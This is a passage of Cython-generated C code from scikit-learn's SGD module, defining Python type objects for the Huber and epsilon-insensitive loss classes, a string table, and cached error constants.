Py_TPFLAGS_DEFAULT|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_BASETYPE, /*tp_flags*/\n  __Pyx_DOCSTR(\"Huber regression loss\\n\\n    Variant of the SquaredLoss that is robust to outliers (quadratic near zero,\\n    linear in for large errors).\\n\\n    http://en.wikipedia.org/wiki/Huber_Loss_Function\\n    \"), /*tp_doc*/\n  0, /*tp_traverse*/\n  0, /*tp_clear*/\n  0, /*tp_richcompare*/\n  0, /*tp_weaklistoffset*/\n  0, /*tp_iter*/\n  0, /*tp_iternext*/\n  __pyx_methods_7sklearn_12linear_model_8sgd_fast_Huber, /*tp_methods*/\n  0, /*tp_members*/\n  0, /*tp_getset*/\n  0, /*tp_base*/\n  0, /*tp_dict*/\n  0, /*tp_descr_get*/\n  0, /*tp_descr_set*/\n  0, /*tp_dictoffset*/\n  __pyx_pw_7sklearn_12linear_model_8sgd_fast_5Huber_1__init__, /*tp_init*/\n  0, /*tp_alloc*/\n  __pyx_tp_new_7sklearn_12linear_model_8sgd_fast_Huber, /*tp_new*/\n  0, /*tp_free*/\n  0, /*tp_is_gc*/\n  0, /*tp_bases*/\n  0, /*tp_mro*/\n  0, /*tp_cache*/\n  0, /*tp_subclasses*/\n  0, /*tp_weaklist*/\n  0, /*tp_del*/\n  #if PY_VERSION_HEX >= 0x02060000\n  0, /*tp_version_tag*/\n  #endif\n};\nstatic struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive __pyx_vtable_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive;\n\nstatic PyObject *__pyx_tp_new_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive(PyTypeObject *t, PyObject *a, PyObject *k) {\n  struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive *p;\n  PyObject *o = __pyx_tp_new_7sklearn_12linear_model_8sgd_fast_LossFunction(t, a, k);\n  if (!o) return 0;\n  p = ((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive *)o);\n  p->__pyx_base.__pyx_base.__pyx_vtab = (struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_LossFunction*)__pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive;\n  return o;\n}\n\nstatic PyMethodDef __pyx_methods_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive[] = {\n  {__Pyx_NAMESTR(\"loss\"), (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_18EpsilonInsensitive_3loss, METH_VARARGS|METH_KEYWORDS, __Pyx_DOCSTR(0)},\n  {__Pyx_NAMESTR(\"dloss\"), (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_18EpsilonInsensitive_5dloss, METH_VARARGS|METH_KEYWORDS, __Pyx_DOCSTR(0)},\n  {__Pyx_NAMESTR(\"__reduce__\"), (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_18EpsilonInsensitive_7__reduce__, METH_NOARGS, __Pyx_DOCSTR(0)},\n  {0, 0, 0, 0}\n};\n\nstatic PyNumberMethods __pyx_tp_as_number_EpsilonInsensitive = {\n  0, /*nb_add*/\n  0, /*nb_subtract*/\n  0, /*nb_multiply*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_divide*/\n  #endif\n  0, /*nb_remainder*/\n  0, /*nb_divmod*/\n  0, /*nb_power*/\n  0, /*nb_negative*/\n  0, /*nb_positive*/\n  0, /*nb_absolute*/\n  0, /*nb_nonzero*/\n  0, /*nb_invert*/\n  0, /*nb_lshift*/\n  0, /*nb_rshift*/\n  0, /*nb_and*/\n  0, /*nb_xor*/\n  0, /*nb_or*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_coerce*/\n  #endif\n  0, /*nb_int*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_long*/\n  #else\n  0, /*reserved*/\n  #endif\n  0, /*nb_float*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_oct*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_hex*/\n  #endif\n  0, /*nb_inplace_add*/\n  0, /*nb_inplace_subtract*/\n  0, /*nb_inplace_multiply*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_inplace_divide*/\n  #endif\n  0, /*nb_inplace_remainder*/\n  0, /*nb_inplace_power*/\n  0, /*nb_inplace_lshift*/\n  0, /*nb_inplace_rshift*/\n  0, /*nb_inplace_and*/\n  0, /*nb_inplace_xor*/\n  0, /*nb_inplace_or*/\n  0, /*nb_floor_divide*/\n  0, /*nb_true_divide*/\n  0, /*nb_inplace_floor_divide*/\n  0, /*nb_inplace_true_divide*/\n  #if PY_VERSION_HEX >= 0x02050000\n  0, /*nb_index*/\n  #endif\n};\n\nstatic PySequenceMethods __pyx_tp_as_sequence_EpsilonInsensitive = {\n  0, /*sq_length*/\n  0, /*sq_concat*/\n  0, /*sq_repeat*/\n  0, /*sq_item*/\n  0, /*sq_slice*/\n  0, /*sq_ass_item*/\n  0, /*sq_ass_slice*/\n  0, /*sq_contains*/\n  0, /*sq_inplace_concat*/\n  0, /*sq_inplace_repeat*/\n};\n\nstatic PyMappingMethods __pyx_tp_as_mapping_EpsilonInsensitive = {\n  0, /*mp_length*/\n  0, /*mp_subscript*/\n  0, /*mp_ass_subscript*/\n};\n\nstatic PyBufferProcs __pyx_tp_as_buffer_EpsilonInsensitive = {\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getreadbuffer*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getwritebuffer*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getsegcount*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getcharbuffer*/\n  #endif\n  #if PY_VERSION_HEX >= 0x02060000\n  0, /*bf_getbuffer*/\n  #endif\n  #if PY_VERSION_HEX >= 0x02060000\n  0, /*bf_releasebuffer*/\n  #endif\n};\n\nstatic PyTypeObject __pyx_type_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive = {\n  PyVarObject_HEAD_INIT(0, 0)\n  __Pyx_NAMESTR(\"sklearn.linear_model.sgd_fast.EpsilonInsensitive\"), /*tp_name*/\n  sizeof(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive), /*tp_basicsize*/\n  0, /*tp_itemsize*/\n  __pyx_tp_dealloc_7sklearn_12linear_model_8sgd_fast_LossFunction, /*tp_dealloc*/\n  0, /*tp_print*/\n  0, /*tp_getattr*/\n  0, /*tp_setattr*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*tp_compare*/\n  #else\n  0, /*reserved*/\n  #endif\n  0, /*tp_repr*/\n  &__pyx_tp_as_number_EpsilonInsensitive, /*tp_as_number*/\n  &__pyx_tp_as_sequence_EpsilonInsensitive, /*tp_as_sequence*/\n  &__pyx_tp_as_mapping_EpsilonInsensitive, /*tp_as_mapping*/\n  0, /*tp_hash*/\n  0, /*tp_call*/\n  0, /*tp_str*/\n  0, /*tp_getattro*/\n  0, /*tp_setattro*/\n  &__pyx_tp_as_buffer_EpsilonInsensitive, /*tp_as_buffer*/\n  Py_TPFLAGS_DEFAULT|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_BASETYPE, /*tp_flags*/\n  __Pyx_DOCSTR(\"Epsilon-Insensitive loss (used by SVR).\\n\\n    loss = max(0, |y - p| - epsilon)\\n    \"), /*tp_doc*/\n  0, /*tp_traverse*/\n  0, /*tp_clear*/\n  0, /*tp_richcompare*/\n  0, /*tp_weaklistoffset*/\n  0, /*tp_iter*/\n  0, /*tp_iternext*/\n  __pyx_methods_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive, /*tp_methods*/\n  0, /*tp_members*/\n  0, /*tp_getset*/\n  0, /*tp_base*/\n  0, /*tp_dict*/\n  0, /*tp_descr_get*/\n  0, /*tp_descr_set*/\n  0, /*tp_dictoffset*/\n  __pyx_pw_7sklearn_12linear_model_8sgd_fast_18EpsilonInsensitive_1__init__, /*tp_init*/\n  0, /*tp_alloc*/\n  __pyx_tp_new_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive, /*tp_new*/\n  0, /*tp_free*/\n  0, /*tp_is_gc*/\n  0, /*tp_bases*/\n  0, /*tp_mro*/\n  0, /*tp_cache*/\n  0, /*tp_subclasses*/\n  0, /*tp_weaklist*/\n  0, /*tp_del*/\n  #if PY_VERSION_HEX >= 0x02060000\n  0, /*tp_version_tag*/\n  #endif\n};\nstatic struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive __pyx_vtable_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive;\n\nstatic PyObject *__pyx_tp_new_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive(PyTypeObject *t, PyObject *a, PyObject *k) {\n  struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive *p;\n  PyObject *o = __pyx_tp_new_7sklearn_12linear_model_8sgd_fast_LossFunction(t, a, k);\n  if (!o) return 0;\n  p = ((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive *)o);\n  p->__pyx_base.__pyx_base.__pyx_vtab = (struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_LossFunction*)__pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive;\n  return o;\n}\n\nstatic PyMethodDef __pyx_methods_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive[] = {\n  {__Pyx_NAMESTR(\"loss\"), (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_25SquaredEpsilonInsensitive_3loss, METH_VARARGS|METH_KEYWORDS, __Pyx_DOCSTR(0)},\n  {__Pyx_NAMESTR(\"dloss\"), (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_25SquaredEpsilonInsensitive_5dloss, METH_VARARGS|METH_KEYWORDS, __Pyx_DOCSTR(0)},\n  {__Pyx_NAMESTR(\"__reduce__\"), (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_25SquaredEpsilonInsensitive_7__reduce__, METH_NOARGS, __Pyx_DOCSTR(0)},\n  {0, 0, 0, 0}\n};\n\nstatic PyNumberMethods __pyx_tp_as_number_SquaredEpsilonInsensitive = {\n  0, /*nb_add*/\n  0, /*nb_subtract*/\n  0, /*nb_multiply*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_divide*/\n  #endif\n  0, /*nb_remainder*/\n  0, /*nb_divmod*/\n  0, /*nb_power*/\n  0, /*nb_negative*/\n  0, /*nb_positive*/\n  0, /*nb_absolute*/\n  0, /*nb_nonzero*/\n  0, /*nb_invert*/\n  0, /*nb_lshift*/\n  0, /*nb_rshift*/\n  0, /*nb_and*/\n  0, /*nb_xor*/\n  0, /*nb_or*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_coerce*/\n  #endif\n  0, /*nb_int*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_long*/\n  #else\n  0, /*reserved*/\n  #endif\n  0, /*nb_float*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_oct*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_hex*/\n  #endif\n  0, /*nb_inplace_add*/\n  0, /*nb_inplace_subtract*/\n  0, /*nb_inplace_multiply*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_inplace_divide*/\n  #endif\n  0, /*nb_inplace_remainder*/\n  0, /*nb_inplace_power*/\n  0, /*nb_inplace_lshift*/\n  0, /*nb_inplace_rshift*/\n  0, /*nb_inplace_and*/\n  0, /*nb_inplace_xor*/\n  0, /*nb_inplace_or*/\n  0, /*nb_floor_divide*/\n  0, /*nb_true_divide*/\n  0, /*nb_inplace_floor_divide*/\n  0, /*nb_inplace_true_divide*/\n  #if PY_VERSION_HEX >= 0x02050000\n  0, /*nb_index*/\n  #endif\n};\n\nstatic PySequenceMethods __pyx_tp_as_sequence_SquaredEpsilonInsensitive = {\n  0, /*sq_length*/\n  0, /*sq_concat*/\n  0, /*sq_repeat*/\n  0, /*sq_item*/\n  0, /*sq_slice*/\n  0, /*sq_ass_item*/\n  0, /*sq_ass_slice*/\n  0, /*sq_contains*/\n  0, /*sq_inplace_concat*/\n  0, /*sq_inplace_repeat*/\n};\n\nstatic PyMappingMethods __pyx_tp_as_mapping_SquaredEpsilonInsensitive = {\n  0, /*mp_length*/\n  0, /*mp_subscript*/\n  0, /*mp_ass_subscript*/\n};\n\nstatic PyBufferProcs __pyx_tp_as_buffer_SquaredEpsilonInsensitive = {\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getreadbuffer*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getwritebuffer*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getsegcount*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getcharbuffer*/\n  #endif\n  #if PY_VERSION_HEX >= 0x02060000\n  0, /*bf_getbuffer*/\n  #endif\n  #if PY_VERSION_HEX >= 0x02060000\n  0, /*bf_releasebuffer*/\n  #endif\n};\n\nstatic PyTypeObject __pyx_type_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive = {\n  PyVarObject_HEAD_INIT(0, 0)\n  __Pyx_NAMESTR(\"sklearn.linear_model.sgd_fast.SquaredEpsilonInsensitive\"), /*tp_name*/\n  sizeof(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive), /*tp_basicsize*/\n  0, /*tp_itemsize*/\n  __pyx_tp_dealloc_7sklearn_12linear_model_8sgd_fast_LossFunction, /*tp_dealloc*/\n  0, /*tp_print*/\n  0, /*tp_getattr*/\n  0, /*tp_setattr*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*tp_compare*/\n  #else\n  0, /*reserved*/\n  #endif\n  0, /*tp_repr*/\n  &__pyx_tp_as_number_SquaredEpsilonInsensitive, /*tp_as_number*/\n  &__pyx_tp_as_sequence_SquaredEpsilonInsensitive, /*tp_as_sequence*/\n  &__pyx_tp_as_mapping_SquaredEpsilonInsensitive, /*tp_as_mapping*/\n  0, /*tp_hash*/\n  0, /*tp_call*/\n  0, /*tp_str*/\n  0, /*tp_getattro*/\n  0, /*tp_setattro*/\n  &__pyx_tp_as_buffer_SquaredEpsilonInsensitive, /*tp_as_buffer*/\n  Py_TPFLAGS_DEFAULT|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_BASETYPE, /*tp_flags*/\n  __Pyx_DOCSTR(\"Epsilon-Insensitive loss.\\n\\n    loss = max(0, |y - p| - epsilon)^2\\n    \"), /*tp_doc*/\n  0, /*tp_traverse*/\n  0, /*tp_clear*/\n  0, /*tp_richcompare*/\n  0, /*tp_weaklistoffset*/\n  0, /*tp_iter*/\n  0, /*tp_iternext*/\n  __pyx_methods_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive, /*tp_methods*/\n  0, /*tp_members*/\n  0, /*tp_getset*/\n  0, /*tp_base*/\n  0, /*tp_dict*/\n  0, /*tp_descr_get*/\n  0, /*tp_descr_set*/\n  0, /*tp_dictoffset*/\n  __pyx_pw_7sklearn_12linear_model_8sgd_fast_25SquaredEpsilonInsensitive_1__init__, /*tp_init*/\n  0, /*tp_alloc*/\n  __pyx_tp_new_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive, /*tp_new*/\n  0, /*tp_free*/\n  0, /*tp_is_gc*/\n  0, /*tp_bases*/\n  0, /*tp_mro*/\n  0, /*tp_cache*/\n  0, /*tp_subclasses*/\n  0, /*tp_weaklist*/\n  0, /*tp_del*/\n  #if PY_VERSION_HEX >= 0x02060000\n  0, /*tp_version_tag*/\n  #endif\n};\n\nstatic PyMethodDef __pyx_methods[] = {\n  {0, 0, 0, 0}\n};\n\n#if PY_MAJOR_VERSION >= 3\nstatic struct PyModuleDef __pyx_moduledef = {\n    PyModuleDef_HEAD_INIT,\n    __Pyx_NAMESTR(\"sgd_fast\"),\n    0, /* m_doc */\n    -1, /* m_size */\n    __pyx_methods /* m_methods */,\n    NULL, /* m_reload */\n    NULL, /* m_traverse */\n    NULL, /* m_clear */\n    NULL /* m_free */\n};\n#endif\n\nstatic __Pyx_StringTabEntry __pyx_string_tab[] = {\n  {&__pyx_kp_s_1, __pyx_k_1, sizeof(__pyx_k_1), 0, 0, 1, 0},\n  {&__pyx_kp_u_10, __pyx_k_10, sizeof(__pyx_k_10), 0, 1, 0, 0},\n  {&__pyx_kp_u_12, __pyx_k_12, sizeof(__pyx_k_12), 0, 1, 0, 0},\n  {&__pyx_kp_u_13, __pyx_k_13, sizeof(__pyx_k_13), 0, 1, 0, 0},\n  {&__pyx_kp_u_16, __pyx_k_16, sizeof(__pyx_k_16), 0, 1, 0, 0},\n  {&__pyx_kp_s_2, __pyx_k_2, sizeof(__pyx_k_2), 0, 0, 1, 0},\n  {&__pyx_kp_s_20, __pyx_k_20, sizeof(__pyx_k_20), 0, 0, 1, 0},\n  {&__pyx_n_s_21, __pyx_k_21, sizeof(__pyx_k_21), 0, 0, 1, 1},\n  {&__pyx_kp_s_3, __pyx_k_3, sizeof(__pyx_k_3), 0, 0, 1, 0},\n  {&__pyx_kp_s_4, __pyx_k_4, sizeof(__pyx_k_4), 0, 0, 1, 0},\n  {&__pyx_kp_u_6, __pyx_k_6, sizeof(__pyx_k_6), 0, 1, 0, 0},\n  {&__pyx_kp_u_8, __pyx_k_8, sizeof(__pyx_k_8), 0, 1, 0, 0},\n  {&__pyx_n_s__C, __pyx_k__C, sizeof(__pyx_k__C), 0, 0, 1, 1},\n  {&__pyx_n_s__NotImplementedError, __pyx_k__NotImplementedError, sizeof(__pyx_k__NotImplementedError), 0, 0, 1, 1},\n  {&__pyx_n_s__RuntimeError, __pyx_k__RuntimeError, sizeof(__pyx_k__RuntimeError), 0, 0, 1, 1},\n  {&__pyx_n_s__ValueError, __pyx_k__ValueError, sizeof(__pyx_k__ValueError), 0, 0, 1, 1},\n  {&__pyx_n_s____main__, __pyx_k____main__, sizeof(__pyx_k____main__), 0, 0, 1, 1},\n  {&__pyx_n_s____test__, __pyx_k____test__, sizeof(__pyx_k____test__), 0, 0, 1, 1},\n  {&__pyx_n_s__alpha, __pyx_k__alpha, sizeof(__pyx_k__alpha), 0, 0, 1, 1},\n  {&__pyx_n_s__any, __pyx_k__any, sizeof(__pyx_k__any), 0, 0, 1, 1},\n  {&__pyx_n_s__c, __pyx_k__c, sizeof(__pyx_k__c), 0, 0, 1, 1},\n  {&__pyx_n_s__class_weight, __pyx_k__class_weight, sizeof(__pyx_k__class_weight), 0, 0, 1, 1},\n  {&__pyx_n_s__count, __pyx_k__count, sizeof(__pyx_k__count), 0, 0, 1, 1},\n  {&__pyx_n_s__dataset, __pyx_k__dataset, sizeof(__pyx_k__dataset), 0, 0, 1, 1},\n  {&__pyx_n_s__dloss, __pyx_k__dloss, sizeof(__pyx_k__dloss), 0, 0, 1, 1},\n  {&__pyx_n_s__dtype, __pyx_k__dtype, sizeof(__pyx_k__dtype), 0, 0, 1, 1},\n  {&__pyx_n_s__epoch, __pyx_k__epoch, sizeof(__pyx_k__epoch), 0, 0, 1, 1},\n  {&__pyx_n_s__epsilon, __pyx_k__epsilon, sizeof(__pyx_k__epsilon), 0, 0, 1, 1},\n  {&__pyx_n_s__eta, __pyx_k__eta, sizeof(__pyx_k__eta), 0, 0, 1, 1},\n  {&__pyx_n_s__eta0, __pyx_k__eta0, sizeof(__pyx_k__eta0), 0, 0, 1, 1},\n  {&__pyx_n_s__fit_intercept, __pyx_k__fit_intercept, sizeof(__pyx_k__fit_intercept), 0, 0, 1, 1},\n  {&__pyx_n_s__float64, __pyx_k__float64, sizeof(__pyx_k__float64), 0, 0, 1, 1},\n  {&__pyx_n_s__i, __pyx_k__i, sizeof(__pyx_k__i), 0, 0, 1, 1},\n  {&__pyx_n_s__intercept, __pyx_k__intercept, sizeof(__pyx_k__intercept), 0, 0, 1, 1},\n  {&__pyx_n_s__intercept_decay, __pyx_k__intercept_decay, sizeof(__pyx_k__intercept_decay), 0, 0, 1, 1},\n  {&__pyx_n_s__is_hinge, __pyx_k__is_hinge, sizeof(__pyx_k__is_hinge), 0, 0, 1, 1},\n  {&__pyx_n_s__isinf, __pyx_k__isinf, sizeof(__pyx_k__isinf), 0, 0, 1, 1},\n  {&__pyx_n_s__isnan, __pyx_k__isnan, sizeof(__pyx_k__isnan), 0, 0, 1, 1},\n  {&__pyx_n_s__learning_rate, __pyx_k__learning_rate, sizeof(__pyx_k__learning_rate), 0, 0, 1, 1},\n  {&__pyx_n_s__loss, __pyx_k__loss, sizeof(__pyx_k__loss), 0, 0, 1, 1},\n  {&__pyx_n_s__n_features, __pyx_k__n_features, sizeof(__pyx_k__n_features), 0, 0, 1, 1},\n  {&__pyx_n_s__n_iter, __pyx_k__n_iter, sizeof(__pyx_k__n_iter), 0, 0, 1, 1},\n  {&__pyx_n_s__n_samples, __pyx_k__n_samples, sizeof(__pyx_k__n_samples), 0, 0, 1, 1},\n  {&__pyx_n_s__nonzero, __pyx_k__nonzero, sizeof(__pyx_k__nonzero), 0, 0, 1, 1},\n  {&__pyx_n_s__np, __pyx_k__np, sizeof(__pyx_k__np), 0, 0, 1, 1},\n  {&__pyx_n_s__numpy, __pyx_k__numpy, sizeof(__pyx_k__numpy), 0, 0, 1, 1},\n  {&__pyx_n_s__order, __pyx_k__order, sizeof(__pyx_k__order), 0, 0, 1, 1},\n  {&__pyx_n_s__p, __pyx_k__p, sizeof(__pyx_k__p), 0, 0, 1, 1},\n  {&__pyx_n_s__penalty_type, __pyx_k__penalty_type, sizeof(__pyx_k__penalty_type), 0, 0, 1, 1},\n  {&__pyx_n_s__plain_sgd, __pyx_k__plain_sgd, sizeof(__pyx_k__plain_sgd), 0, 0, 1, 1},\n  {&__pyx_n_s__power_t, __pyx_k__power_t, sizeof(__pyx_k__power_t), 0, 0, 1, 1},\n  {&__pyx_n_s__q, __pyx_k__q, sizeof(__pyx_k__q), 0, 0, 1, 1},\n  {&__pyx_n_s__q_data_ptr, __pyx_k__q_data_ptr, sizeof(__pyx_k__q_data_ptr), 0, 0, 1, 1},\n  {&__pyx_n_s__range, __pyx_k__range, sizeof(__pyx_k__range), 0, 0, 1, 1},\n  {&__pyx_n_s__rho, __pyx_k__rho, sizeof(__pyx_k__rho), 0, 0, 1, 1},\n  {&__pyx_n_s__sample_weight, __pyx_k__sample_weight, sizeof(__pyx_k__sample_weight), 0, 0, 1, 1},\n  {&__pyx_n_s__seed, __pyx_k__seed, sizeof(__pyx_k__seed), 0, 0, 1, 1},\n  {&__pyx_n_s__shape, __pyx_k__shape, sizeof(__pyx_k__shape), 0, 0, 1, 1},\n  {&__pyx_n_s__shuffle, __pyx_k__shuffle, sizeof(__pyx_k__shuffle), 0, 0, 1, 1},\n  {&__pyx_n_s__sumloss, __pyx_k__sumloss, sizeof(__pyx_k__sumloss), 0, 0, 1, 1},\n  {&__pyx_n_s__sys, __pyx_k__sys, sizeof(__pyx_k__sys), 0, 0, 1, 1},\n  {&__pyx_n_s__t, __pyx_k__t, sizeof(__pyx_k__t), 0, 0, 1, 1},\n  {&__pyx_n_s__t_start, __pyx_k__t_start, sizeof(__pyx_k__t_start), 0, 0, 1, 1},\n  {&__pyx_n_s__threshold, __pyx_k__threshold, sizeof(__pyx_k__threshold), 0, 0, 1, 1},\n  {&__pyx_n_s__time, __pyx_k__time, sizeof(__pyx_k__time), 0, 0, 1, 1},\n  {&__pyx_n_s__u, __pyx_k__u, sizeof(__pyx_k__u), 0, 0, 1, 1},\n  {&__pyx_n_s__update, __pyx_k__update, sizeof(__pyx_k__update), 0, 0, 1, 1},\n  {&__pyx_n_s__verbose, __pyx_k__verbose, sizeof(__pyx_k__verbose), 0, 0, 1, 1},\n  {&__pyx_n_s__w, __pyx_k__w, sizeof(__pyx_k__w), 0, 0, 1, 1},\n  {&__pyx_n_s__weight_neg, __pyx_k__weight_neg, sizeof(__pyx_k__weight_neg), 0, 0, 1, 1},\n  {&__pyx_n_s__weight_pos, __pyx_k__weight_pos, sizeof(__pyx_k__weight_pos), 0, 0, 1, 1},\n  {&__pyx_n_s__weights, __pyx_k__weights, sizeof(__pyx_k__weights), 0, 0, 1, 1},\n  {&__pyx_n_s__x_data_ptr, __pyx_k__x_data_ptr, sizeof(__pyx_k__x_data_ptr), 0, 0, 1, 1},\n  {&__pyx_n_s__x_ind_ptr, __pyx_k__x_ind_ptr, sizeof(__pyx_k__x_ind_ptr), 0, 0, 1, 1},\n  {&__pyx_n_s__xnnz, __pyx_k__xnnz, sizeof(__pyx_k__xnnz), 0, 0, 1, 1},\n  {&__pyx_n_s__y, __pyx_k__y, sizeof(__pyx_k__y), 0, 0, 1, 1},\n  {&__pyx_n_s__zeros, __pyx_k__zeros, sizeof(__pyx_k__zeros), 0, 0, 1, 1},\n  {0, 0, 0, 0, 0, 0, 0}\n};\nstatic int __Pyx_InitCachedBuiltins(void) {\n  __pyx_builtin_NotImplementedError = __Pyx_GetName(__pyx_b, __pyx_n_s__NotImplementedError); if (!__pyx_builtin_NotImplementedError) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 64; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_builtin_range = __Pyx_GetName(__pyx_b, __pyx_n_s__range); if (!__pyx_builtin_range) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 438; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_builtin_ValueError = __Pyx_GetName(__pyx_b, __pyx_n_s__ValueError); if (!__pyx_builtin_ValueError) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 508; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_builtin_RuntimeError = __Pyx_GetName(__pyx_b, __pyx_n_s__RuntimeError); if (!__pyx_builtin_RuntimeError) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 799; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  return 0;\n  __pyx_L1_error:;\n  return -1;\n}\n\nstatic int __Pyx_InitCachedConstants(void) {\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"__Pyx_InitCachedConstants\", 0);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":508\n *         if np.any(np.isinf(weights)) or np.any(np.isnan(weights)) \\\n *            or np.isnan(intercept) or np.isinf(intercept):\n *             raise ValueError(\"floating-point under-/overflow occured.\")             # <<<<<<<<<<<<<<\n * \n *     w.reset_wscale()\n */\n  __pyx_k_tuple_5 = PyTuple_New(1); if (unlikely(!__pyx_k_tuple_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 508; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_k_tuple_5);\n  __Pyx_INCREF(((PyObject *)__pyx_kp_s_4));\n  PyTuple_SET_ITEM(__pyx_k_tuple_5, 0, ((PyObject *)__pyx_kp_s_4));\n  __Pyx_GIVEREF(((PyObject *)__pyx_kp_s_4));\n  __Pyx_GIVEREF(((PyObject *)__pyx_k_tuple_5));\n\n  /* \"numpy.pxd\":215\n *             if ((flags & pybuf.PyBUF_C_CONTIGUOUS == pybuf.PyBUF_C_CONTIGUOUS)\n *                 and not PyArray_CHKFLAGS(self, NPY_C_CONTIGUOUS)):\n *                 raise ValueError(u\"ndarray is not C contiguous\")             # <<<<<<<<<<<<<<\n * \n *             if ((flags & pybuf.PyBUF_F_CONTIGUOUS == pybuf.PyBUF_F_CONTIGUOUS)\n */\n  __pyx_k_tuple_7 = PyTuple_New(1); if (unlikely(!__pyx_k_tuple_7)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 215; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_k_tuple_7);\n  __Pyx_INCREF(((PyObject *)__pyx_kp_u_6));\n  PyTuple_SET_ITEM(__pyx_k_tuple_7, 0, ((PyObject *)__pyx_kp_u_6));\n  __Pyx_GIVEREF(((PyObject *)__pyx_kp_u_6));\n  __Pyx_GIVEREF(((PyObject *)__pyx_k_tuple_7));\n\n  /* \"numpy.pxd\":219\n *             if ((flags & pybuf.PyBUF_F_CONTIGUOUS == pybuf.PyBUF_F_CONTIGUOUS)\n *                 and not PyArray_CHKFLAGS(self, NPY_F_CONTIGUOUS)):\n *                 raise ValueError(u\"ndarray is not Fortran contiguous\")             # <<<<<<<<<<<<<<\n * \n *             info.buf = PyArray_DATA(self)\n */\n  __pyx_k_tuple_9 = PyTuple_New(1); if (unlikely(!__pyx_k_tuple_9)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 219; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_k_tuple_9);\n  __Pyx_INCREF(((PyObject *)__pyx_kp_u_8));\n  PyTuple_SET_ITEM(__pyx_k_tuple_9, 0, ((PyObject *)__pyx_kp_u_8));\n  __Pyx_GIVEREF(((PyObject *)__pyx_kp_u_8));\n  __Pyx_GIVEREF(((PyObject *)__pyx_k_tuple_9));\n\n  /* \"numpy.pxd\":257\n *                 if ((descr.byteorder == c'>' and little_endian) or\n *                     (descr.byteorder == c'<' and not little_endian)):\n *                     raise ValueError(u\"Non-native byte order not supported\")             # <<<<<<<<<<<<<<\n *                 if   t == NPY_BYTE:        f = \"b\"\n *                 elif t == 